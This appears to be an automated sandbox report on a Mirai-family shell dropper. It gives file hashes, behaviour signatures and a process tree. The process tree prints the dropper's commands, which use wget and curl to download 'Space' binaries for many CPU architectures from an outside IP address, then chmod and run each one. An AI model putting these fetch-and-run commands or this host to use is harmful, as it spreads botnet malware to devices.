Analysis
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max time kernel
147s -
max time network
148s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240418-en -
resource tags
arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
23-12-2024 01:08
Static task
static1
Behavioral task
behavioral1
Sample
21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh
Resource
debian9-mipsbe-20240611-en
General
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Target
21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh
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Size
2KB
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MD5
4e3d079076dbd0da4d36211e359e7c90
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SHA1
c78fc85b3cb983b5f6da054337221b744ffce6f2
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SHA256
21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c
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SHA512
85a322f9c2d9cae35021d896ca50f254b49354d2819f77396a97a9d41a544d8662ec0cdd38475884b9bab02f9247c9ed637fa9caa26d4669b8f5e32a739ec78b
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
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Mirai family
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File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 895 chmod 823 chmod 850 chmod 861 chmod 889 chmod 829 chmod 844 chmod 877 chmod 912 chmod 838 chmod 871 chmod 883 chmod 856 chmod 901 chmod 906 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/Space 824 Space /tmp/Space 830 Space /tmp/Space 839 Space /tmp/Space 845 Space /tmp/Space 851 Space /tmp/Space 857 Space /tmp/Space 862 Space /tmp/Space 872 Space /tmp/Space 878 Space /tmp/Space 884 Space /tmp/Space 890 Space /tmp/Space 896 Space /tmp/Space 902 Space /tmp/Space 907 Space /tmp/Space 913 Space -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space -
Enumerates running processes
Discovers information about currently running processes on the system
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Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space -
resource yara_rule behavioral4/files/fstream-5.dat upx behavioral4/files/fstream-6.dat upx behavioral4/files/fstream-7.dat upx behavioral4/files/fstream-8.dat upx -
description ioc Process File opened for reading /proc/110/status Space File opened for reading /proc/230/status Space File opened for reading /proc/326/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/14/status Space File opened for reading /proc/36/status Space File opened for reading /proc/20/status Space File opened for reading /proc/75/status Space File opened for reading /proc/76/status Space File opened for reading /proc/380/status Space File opened for reading /proc/432/status Space File opened for reading /proc/filesystems cp File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/12/status Space File opened for reading /proc/5/status Space File opened for reading /proc/671/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/24/status Space File opened for reading /proc/151/status Space File opened for reading /proc/721/status Space File opened for reading /proc/11/status Space File opened for reading /proc/21/status Space File opened for reading /proc/7/status Space File opened for reading /proc/9/status Space File opened for reading /proc/10/status Space File opened for reading /proc/16/status Space File opened for reading /proc/71/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/2/status Space File opened for reading /proc/675/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/6/status Space File opened for reading /proc/81/status Space File opened for reading /proc/329/status Space File opened for reading /proc/717/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/4/status Space File opened for reading /proc/72/status Space File opened for reading /proc/383/status Space File opened for reading /proc/714/status Space File opened for reading /proc/1/status Space File opened for reading /proc/15/status Space File opened for reading /proc/19/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/678/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/13/status Space File opened for reading /proc/78/status Space File opened for reading /proc/245/status Space File opened for reading /proc/70/status Space File opened for reading /proc/73/status Space File opened for reading /proc/74/status Space File opened for reading /proc/331/status Space File opened for reading /proc/677/status Space File opened for reading /proc/3/status Space File opened for reading /proc/17/status Space File opened for reading /proc/37/status Space File opened for reading /proc/333/status Space File opened for reading /proc/334/status Space -
System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 854 curl 855 cat 847 wget 848 curl 849 cat 853 wget -
Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Space.arm7 wget File opened for modification /tmp/Space.ppc curl File opened for modification /tmp/busybox cp File opened for modification /tmp/Space.x86_64 wget File opened for modification /tmp/Space.i686 curl File opened for modification /tmp/Space.mpsl curl File opened for modification /tmp/Space.sparc curl File opened for modification /tmp/Space.sh4 curl File opened for modification /tmp/Space.i686 wget File opened for modification /tmp/Space.arm wget File opened for modification /tmp/Space.arm6 wget File opened for modification /tmp/Space.ppc wget File opened for modification /tmp/Space.arm6 curl File opened for modification /tmp/Space.m68k curl File opened for modification /tmp/Space 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh File opened for modification /tmp/Space.x86 curl File opened for modification /tmp/Space.mpsl wget File opened for modification /tmp/Space.arm curl File opened for modification /tmp/Space.arc curl File opened for modification /tmp/Space.arm5 wget File opened for modification /tmp/Space.sh4 wget File opened for modification /tmp/Space.arc wget File opened for modification /tmp/Space.x86 wget File opened for modification /tmp/Space.x86_64 curl File opened for modification /tmp/Space.arm7 curl File opened for modification /tmp/Space.m68k wget File opened for modification /tmp/Space.mips wget File opened for modification /tmp/Space.mips curl File opened for modification /tmp/Space.mips64 curl File opened for modification /tmp/Space.arm5 curl
Processes
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/tmp/21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh/tmp/21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh1⤵
- Writes file to tmp directory
PID:717 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:720
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.arc2⤵
- Writes file to tmp directory
PID:727
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:821
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/bin/catcat Space.arc2⤵PID:822
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-xUczsp2⤵
- File and Directory Permissions Modification
PID:823
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:824
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.x862⤵
- Writes file to tmp directory
PID:826
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:827
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/bin/catcat Space.x862⤵PID:828
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.x86 systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-xUczsp2⤵
- File and Directory Permissions Modification
PID:829
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:830
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.x86_642⤵
- Writes file to tmp directory
PID:832
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.x86_642⤵
- Writes file to tmp directory
PID:833
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/bin/catcat Space.x86_642⤵PID:837
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:838
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:839
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.i6862⤵
- Writes file to tmp directory
PID:841
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:842
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/bin/catcat Space.i6862⤵PID:843
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:844
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:845
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:847
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:848
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/bin/catcat Space.mips2⤵
- System Network Configuration Discovery
PID:849
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:850
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:851
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.mips642⤵
- System Network Configuration Discovery
PID:853
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.mips642⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:854
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/bin/catcat Space.mips642⤵
- System Network Configuration Discovery
PID:855
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:856
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:857
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.mpsl2⤵
- Writes file to tmp directory
PID:858
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:859
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/bin/catcat Space.mpsl2⤵PID:860
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:861
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/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:862
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.arm2⤵
- Writes file to tmp directory
PID:868
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:869
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/bin/catcat Space.arm2⤵PID:870
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:871
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:872
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.arm52⤵
- Writes file to tmp directory
PID:874
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:875
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/bin/catcat Space.arm52⤵PID:876
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:877
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:878
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.arm62⤵
- Writes file to tmp directory
PID:880
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:881
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/bin/catcat Space.arm62⤵PID:882
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:883
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:884
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.arm72⤵
- Writes file to tmp directory
PID:886
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.arm72⤵
- Writes file to tmp directory
PID:887
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/bin/catcat Space.arm72⤵PID:888
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:889
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:890
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.ppc2⤵
- Writes file to tmp directory
PID:892
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:893
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/bin/catcat Space.ppc2⤵PID:894
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:895
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:896
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.sparc2⤵PID:898
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.sparc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:899
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/bin/catcat Space.sparc2⤵PID:900
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:901
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:902
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.m68k2⤵
- Writes file to tmp directory
PID:903
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:904
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/bin/catcat Space.m68k2⤵PID:905
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:906
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:907
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/usr/bin/wgetwget http://89.213.158.208/hiddenbin/Space.sh42⤵
- Writes file to tmp directory
PID:909
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/usr/bin/curlcurl -O http://89.213.158.208/hiddenbin/Space.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:910
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/bin/catcat Space.sh42⤵PID:911
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/bin/chmodchmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:912
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:913
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
34KB
MD5f66071f9e603dd7b96793058e206b45c
SHA1f90eaf59e5a2c5030450de5b1f12a72a8ec8f256
SHA2568b8facc7fb2d6cd6f278ea77711c41970dcdff8a367d2d04a2221fd4286ffb45
SHA512d5d307f49f255d8f2e36027cdb5b0b7171f83d99147fb1d074bdb64f4c65fa19a7af2556508e0a317a9a4e0df5bd005b5d1b3396282647d9672b12d916d3fc88
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Filesize
36KB
MD53c733927caaa196b216421abb32e2632
SHA10c2443725d846b98d0f43fd04d914fc9f0848595
SHA2565c26d99fcb4734a9fa1e742d0a2b79de476ad150afd2ab87212766a458eb3475
SHA512531651740555a3e4291b9de2a326a4dc5e69088e64264827f1a1f32be8882db930f183e8a145967e8d0976119e3e3d21ff95b9fdd80f3a20b63b801b3d790f08
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Filesize
35KB
MD569bb2976de3feee44a259aba3d6e6339
SHA15ae7aa7d99a2ec82de2d9a9da57a9acd5176b939
SHA256fb5e5e67d08d25421f3d1acfea212d860a41c97ffcbd3d30094362cccaaf9d76
SHA512c3292376c62e324d9b8e6773a78d5d0215feef9f2173f974f5e8ee4bf024aee817e4f6c497a38d285cb00383e28200983fd2be063b384a77d8f7d8c1dfc3388f
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Filesize
37KB
MD5a010ddf965c0b627abe851fced83e6fe
SHA15fe8eabdce3d9ef71ff19a7fc109b841a958e328
SHA2563b6b160ecfbb8c22f91a08708aa0a73917ddcfbf15c628af30e3c34257825aae
SHA512d432b1469b70044a3ca0b61ab8b4294ce89fb53e7991fa14c8b7c06728a46ae81cad82f401dd87ca2e286e2e0e0669380c7cda0a534525cd0831aa2d9d1cdf9c
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Filesize
82KB
MD5ee5d58bab852ebdb4db18fe5941b7b11
SHA148d40ff4c228571b6a704578cdd5e8505fe7e883
SHA2562869e0d7e90b1488b774960b8d92a35cb219b5b20de58f3c2b4f7798c4b0d558
SHA512e58ffb21af892d20ac9655bfa024e10bcdc6e694416988e5bd30004e9c3018141e1d9a3e972096a0d68a01aa5a610f897e8ecd60f8807cac41d903460a67f615
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Filesize
113KB
MD50d7dfd4bb7805b98857a7d2f0a6c736e
SHA13dd2688150dae67b47e3a4da289f98f2fc6b3dae
SHA256fc713acedb272a695f5377591a7110d2061697ef7b5de6852e1132040597a39b
SHA51203858c754d6469066b8b7b21f8765c24706209e0d9acc3b014014c5a6abd8738f4722d6f2403f85678822021b568834186c6e346dd96b25139c7e4572d3c1899
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Filesize
857KB
MD56ffc46165b5d9726a6607f3ea5305589
SHA1ab127220f42e816b413dde0d17031e251a7bc98f
SHA25680d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
SHA512456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8